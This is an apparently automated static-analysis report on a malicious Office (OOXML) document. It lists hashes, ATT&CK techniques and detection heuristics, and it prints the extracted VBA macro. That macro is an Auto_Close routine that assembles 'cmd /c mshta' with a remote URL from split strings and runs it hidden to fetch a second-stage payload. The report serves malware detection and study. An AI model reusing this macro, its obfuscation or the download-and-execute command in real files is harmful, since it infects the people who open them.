Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a7d850d12dfb38cd…

MALICIOUS

Office (OOXML)

6.7 KB First seen: 2021-09-17
MD5: abc5511aa733da99dde35d4624b81dd9 SHA-1: abe0858af2155bd29fafeb6f61c891f2fbd6b033 SHA-256: a7d850d12dfb38cde2e437fa22a117f529f65bf82ac8d0eb834891ddf1d5f839
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059.003 Windows Command Shell

The sample contains VBA macros with an Auto_Close subroutine that is triggered when the document is closed. This subroutine reconstructs and executes the command 'cmd /c mshta https://bitly.com/dhkajshd', which is designed to download and execute a second-stage payload from the provided URL. The use of obfuscated API calls and the Auto_Close execution path are common techniques for malware delivery.

Heuristics 5

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 304 bytes
SHA-256: 30a5ef158d0e21ba775e8e6647e00a14abbd7eb0fed84607ea7bace9888f25b4
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Close()
        begoxjup
End Sub

Attribute VB_Name = "adaolv"
Function begoxjup()
Dim znoywzff As Variant
znoywzff = "cmd" + " /c  " + "m" + "s" & "h" & "t" + "a https://" & "bitly.com" & "/dhkajshd" & "hdkjsahdjksa"
Shell znoywzff, vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13824 bytes
SHA-256: 6bc8403d8df4257d031bcba61eadb03194d69e22b113bbef95ba0af220b153a1

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